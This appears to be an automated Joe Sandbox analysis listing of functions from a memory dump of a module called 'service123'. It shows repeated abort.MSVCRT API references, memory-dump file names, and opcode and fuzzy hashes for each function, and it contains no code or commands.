Function 6C96BA80 Relevance: 34.6, APIs: 23, Instructions: 110COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1661057e41a78e2be6c66f8ad8e53a7bf78b6938309ee7a778fcbd15768ef38f
Instruction ID: 94c8141cddc710c87b23d75a63c43eec5f653f0e9a693a367cfd1aa6a9c06b15
Opcode Fuzzy Hash: 1661057e41a78e2be6c66f8ad8e53a7bf78b6938309ee7a778fcbd15768ef38f
Instruction Fuzzy Hash: 522135326097188FE310CF06D8C06A7B7F5AFC3369F18992DE5AD5BB90E231E4099751

Function 6C96BBC4 Relevance: 34.6, APIs: 23, Instructions: 63COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF92
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 87ad8faa0835511561573ab8a8f89f11cd3a3e7fbcbece54b26417f3fb421f64
Instruction ID: 0b8ed9b81c979ec638ace2a8a4243414ecbc4f77ef262661f746c07de6583304
Opcode Fuzzy Hash: 87ad8faa0835511561573ab8a8f89f11cd3a3e7fbcbece54b26417f3fb421f64
Instruction Fuzzy Hash: 74F0B43174D6198B93449D7D9898626F3F777AB301F80A47CF409D7E88D621EC289158

Function 6C96BAD0 Relevance: 33.1, APIs: 22, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d8f58efdf45cba018ca5220451cbdfd4408da096a65780d225823954e084437
Instruction ID: 91b30c9c8bd9c6a54a7642e344b3adcf5af7c4fb52602823ee4b953fb739736f
Opcode Fuzzy Hash: 7d8f58efdf45cba018ca5220451cbdfd4408da096a65780d225823954e084437
Instruction Fuzzy Hash: 7E31CD326053184BF3108E6AC8D0366B7F1AB8335DF18496DE9AA8BFD2E371D809D740

Function 6C96BDFF Relevance: 33.1, APIs: 22, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5dca8ecc3c07f49127ec3e4ecf275429087724c0c08fc97f55eb1d3de0ff06ad
Instruction ID: de97a35a4e9da31cd06bfc4beec6a9a37b30ee6f3f43b54bc807a7f8172b6681
Opcode Fuzzy Hash: 5dca8ecc3c07f49127ec3e4ecf275429087724c0c08fc97f55eb1d3de0ff06ad
Instruction Fuzzy Hash: 9F014973D457A40BF3214E75C894361BBB05B5334CF18996CDAA21BE86DA66D809B290

Function 6C96BB7B Relevance: 33.1, APIs: 22, Instructions: 62COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 40dc251b70bd88ab6d4b15b7ca92ac47ec1d77e1644f57a76321ccf87ed2912f
Instruction ID: d9ad4277dc79d581f6c4bca096c2d4c05371d19f8a62731d0a2a175b621258eb
Opcode Fuzzy Hash: 40dc251b70bd88ab6d4b15b7ca92ac47ec1d77e1644f57a76321ccf87ed2912f
Instruction Fuzzy Hash: 91F0F9329093554FE3109E29D4C4B66F7B0AF83308F452C9DE959ABE66D330D848C791

Function 6C96BED2 Relevance: 33.1, APIs: 22, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6080b7b3f2a1bf5b240ad96be88065ac85e1ad0163c3c2e8e1fb0e8416f05400
Instruction ID: 32a4bb117db993e324f47e6563db3ed342c8a7d2e04fe3f99886551f5a98c003
Opcode Fuzzy Hash: 6080b7b3f2a1bf5b240ad96be88065ac85e1ad0163c3c2e8e1fb0e8416f05400
Instruction Fuzzy Hash: 43F05272D4A7640BE3208E31C4A0362BBB05B4330CF58288CD99667FA3C726D84AE761

Function 6C96BD06 Relevance: 33.0, APIs: 22, Instructions: 45COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 07acd58752882f11560bc7e1f302f5f79cf311c5de058a764c8e041cc59cea84
Instruction ID: 549f04dffc206754e29001cf2649d968a19e385f91af8b69dc6cb10bfda3a6c5
Opcode Fuzzy Hash: 07acd58752882f11560bc7e1f302f5f79cf311c5de058a764c8e041cc59cea84
Instruction Fuzzy Hash: 49F0C974AA93068BC351EF09E0C446EF7B4BB9A345F503AADDA44A3704D731E4298F66

Function 6C96BC33 Relevance: 33.0, APIs: 22, Instructions: 42COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: c8a4079ef8b814dac98abaca47703bf7179d71d82d898e991d41ef85fbadecdb
Instruction ID: bf0ccb782ac620e6ec3416fafe08d94fd4cc931bf02a658ba85401ea183de44e
Opcode Fuzzy Hash: c8a4079ef8b814dac98abaca47703bf7179d71d82d898e991d41ef85fbadecdb
Instruction Fuzzy Hash: 94D02B327460054F93044F2AC46863793365BE3309F58744CD408D7E55EB21C0088026

Function 6C96BC58 Relevance: 33.0, APIs: 22, Instructions: 40COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 94b6ec974ba28f4177d3d59c23a5423f764700a7e9e52e01090171724eb57963
Instruction ID: 9b75705b38b29d0385e02b335f5d9951caf04baa04ff322f150ad2f9e38d7a68
Opcode Fuzzy Hash: 94b6ec974ba28f4177d3d59c23a5423f764700a7e9e52e01090171724eb57963
Instruction Fuzzy Hash: C8E0EC30A9A3068BC351EF19E1D846AF3B4BBDB305F503A6CC544A3B04D732E024862A

Function 6C96BC7E Relevance: 33.0, APIs: 22, Instructions: 40COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEA
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFEF
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF4
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFF9
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFFE
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA40003

Memory Dump Source

Source File: 00000006.00000002.2556247646.000000006C961000.00000020.00000001.01000000.00000006.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000006.00000002.2556222225.000000006C960000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556389238.000000006CA46000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556412741.000000006CA48000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556475961.000000006CA8F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556491837.000000006CA90000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000006.00000002.2556521453.000000006CA93000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_6c960000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: fc013885dc6dcf56e5ff4bb57a2f392a706d868ef845635bca26cb4ab6848987
Instruction ID: d5a5d1021c26ff5e9d84511678d239c0bb2f24007a1f63c4a764a8e8815a8f86
Opcode Fuzzy Hash: fc013885dc6dcf56e5ff4bb57a2f392a706d868ef845635bca26cb4ab6848987
Instruction Fuzzy Hash: 9DD02E3094E10B4B83048F2A80E887AF2B42B27309B083298C008E3E25E701C9080228

Function 6C96BC9F Relevance: 33.0, APIs: 22, Instructions: 36COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF97
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FF9C
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA1
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFA6
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFAB
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB0
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFB5
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBA
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFBF
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC4
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFC9
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFCE
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD3
abort.MSVCRT(?,?,?,00000001,?,?,6C96C4E9), ref: 6CA3FFD8
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE0
abort.MSVCRT(?,?,00000009,?,?,00000001,6C96E124), ref: 6CA3FFE5
